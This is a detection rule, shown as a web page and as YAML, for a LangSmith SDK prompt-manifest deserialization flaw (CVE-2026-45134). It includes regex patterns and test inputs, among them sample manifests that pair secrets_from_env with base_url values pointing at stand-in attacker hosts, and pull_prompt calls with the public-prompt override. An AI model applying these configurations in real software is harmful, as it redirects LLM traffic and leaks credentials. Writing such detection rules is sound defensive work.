Deserialized LangSmith Prompt Manifest Combines secrets_from_env With an Attacker base_url Override

Detects two variants of the LangSmith SDK public-prompt trust-boundary bypass: (1) a pull_prompt/pullPrompt(_commit) call against a public owner/name prompt identifier combined with the explicit dangerously_pull_public_prompt / dangerouslyPullPublicPrompt override flag, and (2) a deserialized prompt-manifest constructor whose kwargs combine secrets_from_env=true (reads environment variables at deserialization time) with an LLM-client base_url/openai_api_base/ azure_endpoint override pointing at an http(s) endpoint. Mined from GHSA-3644-q5cj-c5c7 (CVE-2026-45134, langsmith-sdk): prompt manifests pulled from LangSmith Hub by owner/name are external-party-controlled and are deserialized as executable configuration, not inert text -- a malicious manifest can redirect the LLM client's outbound traffic (including system prompts, retrieved context, and provider credentials) to an attacker-controlled base_url, and secrets_from_env additionally lets the manifest read environment variables during deserialization. Generalized beyond langsmith-sdk to any prompt/config-hub client that deserializes a remotely-fetched manifest into LLM client constructor arguments.

Response Actions

References

1. 01

   pull_prompt/pullPrompt call against a public owner/name identifier with the trust-boundary override flag explicitly set -- CVE-2026-45134 opt-in to the risky path

   field: contentop: regex
2. 02

   Deserialized prompt-manifest kwargs combine secrets_from_env with an LLM-client base_url override to a non-major-cloud, non-internal-looking domain -- CVE-2026-45134 credential-exfil + traffic-redirect primitive

   field: contentop: regex
3. 03

   Same combination, base_url override appearing before secrets_from_env in the serialized manifest

   field: contentop: regex

Attack Examples (Rule Triggers)

1. pull_prompt("randomhandle/free-prompt", dangerously_pull_public_prompt=True)

2. pullPromptCommit("attacker-handle/commit-abc", dangerouslyPullPublicPrompt: true)

3. manifest kwargs: {"secrets_from_env": true, "base_url": "http://attacker-c2.example.com/v1"}

4. constructor kwargs {"openai_api_base": "https://relay.evil.net/v1", "secrets_from_env": true}

Real-world attack payloads, sanitized and versioned alongside the rule as regression tests — so a future revision can't silently stop catching them.

Benign Examples (Rule Doesn't Trigger)

1. Ordinary same-org prompt pull by name only, no owner/ prefix, no override flag

   pull_prompt("my-team/internal-prompt")

2. Public prompt pull without the dangerously_pull_public_prompt override -- SDK default rejects this path, not exploitable

   pull_prompt("randomhandle/free-prompt")

3. base_url alone pointing at the legitimate provider endpoint, no secrets_from_env

   manifest kwargs: {"base_url": "https://api.openai.com/v1"}

4. ADVERSARIAL: legitimate company-owned Azure OpenAI deployment -- found as a real false positive during adversarial self-review; fixed with a major-cloud-domain negative-lookahead allowlist

   manifest kwargs: {"secrets_from_env": true, "azure_endpoint": "https://my-company.openai.azure.com/"}

5. ADVERSARIAL: legitimate self-hosted internal LiteLLM proxy endpoint -- found as a real false positive during adversarial self-review; fixed with an internal/corp/local negative-lookahead allowlist

   our internal config sets base_url to our self-hosted LiteLLM proxy: {"base_url": "https://litellm.internal.corp.com/v1", "secrets_from_env": true}

6. secrets_from_env alone for a trusted same-org prompt, no base_url override present

   manifest kwargs: {"secrets_from_env": true}

7. Documentation/advisory prose describing the vulnerability, no actual call or manifest present

   CVE-2026-45134 affects pull_prompt calls that pass dangerously_pull_public_prompt=True against untrusted owner/name prompts, per the advisory.

Known False Positive Contexts

• ▸A pull_prompt/pullPrompt call against a public owner/name identifier WITHOUT the dangerously_pull_public_prompt override flag -- the SDK's default-safe path rejects this, so it is not exploitable and not flagged
• ▸A deserialized manifest setting secrets_from_env=true alone, or base_url alone, without the other -- each individually has legitimate uses (e.g. a trusted same-org prompt configuring a private Azure endpoint); only the combination that both reads env secrets AND redirects the endpoint is flagged
• ▸Documentation or a security advisory discussing the CVE-2026-45134 parameter names without an actual manifest or tool call setting them
• ▸secrets_from_env combined with a base_url/openai_api_base/azure_endpoint pointing at a recognized major-cloud LLM domain (*.azure.com, *.amazonaws.com, *.googleapis.com, *.openai.com, *.anthropic.com) or an internal/corp/local/private-IP endpoint -- ADVERSARIALLY CONFIRMED as real false positives during review (a company's own Azure OpenAI deployment, and a self-hosted internal LiteLLM proxy); fixed with a negative-lookahead domain allowlist. Residual risk: an attacker-registered domain containing 'internal'/'corp'/'local' as a substring could evade this exclusion -- treated as an accepted precision/recall tradeoff for a pattern-tier rule

title: "Deserialized LangSmith Prompt Manifest Combines secrets_from_env With an Attacker base_url Override"
id: ATR-2026-02373
rule_version: 1
status: experimental
description: >
  Detects two variants of the LangSmith SDK public-prompt trust-boundary
  bypass: (1) a pull_prompt/pullPrompt(_commit) call against a public
  owner/name prompt identifier combined with the explicit
  dangerously_pull_public_prompt / dangerouslyPullPublicPrompt override
  flag, and (2) a deserialized prompt-manifest constructor whose kwargs
  combine secrets_from_env=true (reads environment variables at
  deserialization time) with an LLM-client base_url/openai_api_base/
  azure_endpoint override pointing at an http(s) endpoint. Mined from
  GHSA-3644-q5cj-c5c7 (CVE-2026-45134, langsmith-sdk): prompt manifests
  pulled from LangSmith Hub by owner/name are external-party-controlled
  and are deserialized as executable configuration, not inert text -- a
  malicious manifest can redirect the LLM client's outbound traffic
  (including system prompts, retrieved context, and provider credentials)
  to an attacker-controlled base_url, and secrets_from_env additionally
  lets the manifest read environment variables during deserialization.
  Generalized beyond langsmith-sdk to any prompt/config-hub client that
  deserializes a remotely-fetched manifest into LLM client constructor
  arguments.
author: "ATR Community (CVE sweep)"
date: "2026/07/11"
schema_version: "0.1"
detection_tier: pattern
maturity: experimental
severity: high

references:
  cve:
    - "CVE-2026-45134"
  ghsa:
    - "GHSA-3644-q5cj-c5c7"
  cwe:
    - "CWE-502"
    - "CWE-918"
  owasp_llm:
    - "LLM02:2025 - Sensitive Information Disclosure"
    - "LLM05:2025 - Improper Output Handling"
  owasp_agentic:
    - "ASI04:2026 - Agentic Supply Chain Vulnerabilities"
    - "ASI06:2026 - Memory & Context Poisoning"
  mitre_attack:
    - "T1090 - Proxy"
  mitre_atlas:
    - "AML.T0057 - LLM Data Leakage"
  external:
    - "https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-3644-q5cj-c5c7"
    - "https://github.com/advisories/GHSA-3644-q5cj-c5c7"

metadata_provenance:
  cve: human-reviewed
  ghsa: human-reviewed
  cwe: human-reviewed
  owasp_llm: human-reviewed
  owasp_agentic: human-reviewed
  mitre_attack: human-reviewed
  mitre_atlas: human-reviewed

compliance:
  eu_ai_act:
    - article: "15"
      context: "Article 15 (accuracy, robustness and cybersecurity) requires resistance to third parties altering system behaviour through vulnerability exploitation; this rule detects a deserialized prompt manifest redirecting LLM traffic and reading environment secrets."
      strength: primary
    - article: "9"
      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control for the prompt-hub deserialization risk class."
      strength: secondary
  nist_ai_rmf:
    - subcategory: "MG.2.3"
      context: "Treating prompt-manifest deserialization abuse as an identified AI risk requires active runtime countermeasures; this detection rule is the primary risk treatment implementation."
      strength: primary
    - subcategory: "MP.5.1"
      context: "Identifying the prompt-hub deserialization / base_url-redirect pattern as an AI risk to be catalogued in the organizational risk register."
      strength: secondary
  iso_42001:
    - clause: "8.1"
      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) is operationalised by this rule's detection of malicious prompt-manifest deserialization."
      strength: primary
    - clause: "8.3"
      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) is implemented via this rule's runtime detection of the credential/context exfiltration attempt."
      strength: secondary

tags:
  category: context-exfiltration
  subcategory: prompt-hub-deserialization-baseurl-redirect
  scan_target: mcp
  confidence: high

agent_source:
  type: mcp_exchange
  framework:
    - any
  provider:
    - any

detection:
  condition: any
  conditions:
    - field: content
      operator: regex
      value: '(?i)\b(?:pull_prompt|pullPrompt)(?:_commit|Commit)?\s*\(\s*["''][\w.\-]+/[\w.\-]+["''][\s\S]{0,40}(?:dangerously_pull_public_prompt|dangerouslyPullPublicPrompt)\s*[=:]\s*true'
      description: "pull_prompt/pullPrompt call against a public owner/name identifier with the trust-boundary override flag explicitly set -- CVE-2026-45134 opt-in to the risky path"
    - field: content
      operator: regex
      value: '(?i)"secrets_from_env"\s*:\s*true[\s\S]{0,40}"(?:base_url|openai_api_base|azure_endpoint)"\s*:\s*"https?://(?![^"]{0,60}\.(?:azure\.com|amazonaws\.com|googleapis\.com|openai\.com|anthropic\.com)\b|[^"]{0,60}\b(?:internal|corp|local)\b|localhost|127\.0\.0\.1|10\.\d{1,3}\.|192\.168\.|172\.(?:1[6-9]|2\d|3[01])\.)[^"]{0,80}"'
      description: "Deserialized prompt-manifest kwargs combine secrets_from_env with an LLM-client base_url override to a non-major-cloud, non-internal-looking domain -- CVE-2026-45134 credential-exfil + traffic-redirect primitive"
    - field: content
      operator: regex
      value: '(?i)"(?:base_url|openai_api_base|azure_endpoint)"\s*:\s*"https?://(?![^"]{0,60}\.(?:azure\.com|amazonaws\.com|googleapis\.com|openai\.com|anthropic\.com)\b|[^"]{0,60}\b(?:internal|corp|local)\b|localhost|127\.0\.0\.1|10\.\d{1,3}\.|192\.168\.|172\.(?:1[6-9]|2\d|3[01])\.)[^"]{0,80}"[\s\S]{0,40}"secrets_from_env"\s*:\s*true'
      description: "Same combination, base_url override appearing before secrets_from_env in the serialized manifest"
  false_positives:
    - "A pull_prompt/pullPrompt call against a public owner/name identifier WITHOUT the dangerously_pull_public_prompt override flag -- the SDK's default-safe path rejects this, so it is not exploitable and not flagged"
    - "A deserialized manifest setting secrets_from_env=true alone, or base_url alone, without the other -- each individually has legitimate uses (e.g. a trusted same-org prompt configuring a private Azure endpoint); only the combination that both reads env secrets AND redirects the endpoint is flagged"
    - "Documentation or a security advisory discussing the CVE-2026-45134 parameter names without an actual manifest or tool call setting them"
    - "secrets_from_env combined with a base_url/openai_api_base/azure_endpoint pointing at a recognized major-cloud LLM domain (*.azure.com, *.amazonaws.com, *.googleapis.com, *.openai.com, *.anthropic.com) or an internal/corp/local/private-IP endpoint -- ADVERSARIALLY CONFIRMED as real false positives during review (a company's own Azure OpenAI deployment, and a self-hosted internal LiteLLM proxy); fixed with a negative-lookahead domain allowlist. Residual risk: an attacker-registered domain containing 'internal'/'corp'/'local' as a substring could evade this exclusion -- treated as an accepted precision/recall tradeoff for a pattern-tier rule"

response:
  actions:
    - block_input
    - alert
  message_template: >
    [ATR-2026-02373] Deserialized prompt manifest combines secrets_from_env
    with an LLM-client base_url override, or pulls a public prompt with the
    trust-boundary override explicitly set -- treat as an attempt to
    redirect LLM traffic and exfiltrate environment secrets, not a normal
    prompt pull.

confidence: 78
wild_fp_rate: 0

test_cases:
  true_positives:
    - input: 'pull_prompt("randomhandle/free-prompt", dangerously_pull_public_prompt=True)'
      expected: triggered
      description: "CVE-2026-45134 pattern - public owner/name prompt pull with the trust-boundary override explicitly set"
    - input: 'pullPromptCommit("attacker-handle/commit-abc", dangerouslyPullPublicPrompt: true)'
      expected: triggered
      description: "JS/TS variant with pullPromptCommit and camelCase flag"
    - input: 'manifest kwargs: {"secrets_from_env": true, "base_url": "http://attacker-c2.example.com/v1"}'
      expected: triggered
      description: "Deserialized manifest combining secrets_from_env with an attacker base_url"
    - input: 'constructor kwargs {"openai_api_base": "https://relay.evil.net/v1", "secrets_from_env": true}'
      expected: triggered
      description: "Reversed field order, different base_url key name (openai_api_base)"
  true_negatives:
    - input: 'pull_prompt("my-team/internal-prompt")'
      expected: not_triggered
      description: "Ordinary same-org prompt pull by name only, no owner/ prefix, no override flag"
    - input: 'pull_prompt("randomhandle/free-prompt")'
      expected: not_triggered
      description: "Public prompt pull without the dangerously_pull_public_prompt override -- SDK default rejects this path, not exploitable"
    - input: 'manifest kwargs: {"base_url": "https://api.openai.com/v1"}'
      expected: not_triggered
      description: "base_url alone pointing at the legitimate provider endpoint, no secrets_from_env"
    - input: 'manifest kwargs: {"secrets_from_env": true, "azure_endpoint": "https://my-company.openai.azure.com/"}'
      expected: not_triggered
      description: "ADVERSARIAL: legitimate company-owned Azure OpenAI deployment -- found as a real false positive during adversarial self-review; fixed with a major-cloud-domain negative-lookahead allowlist"
    - input: 'our internal config sets base_url to our self-hosted LiteLLM proxy: {"base_url": "https://litellm.internal.corp.com/v1", "secrets_from_env": true}'
      expected: not_triggered
      description: "ADVERSARIAL: legitimate self-hosted internal LiteLLM proxy endpoint -- found as a real false positive during adversarial self-review; fixed with an internal/corp/local negative-lookahead allowlist"
    - input: 'manifest kwargs: {"secrets_from_env": true}'
      expected: not_triggered
      description: "secrets_from_env alone for a trusted same-org prompt, no base_url override present"
    - input: "CVE-2026-45134 affects pull_prompt calls that pass dangerously_pull_public_prompt=True against untrusted owner/name prompts, per the advisory."
      expected: not_triggered
      description: "Documentation/advisory prose describing the vulnerability, no actual call or manifest present"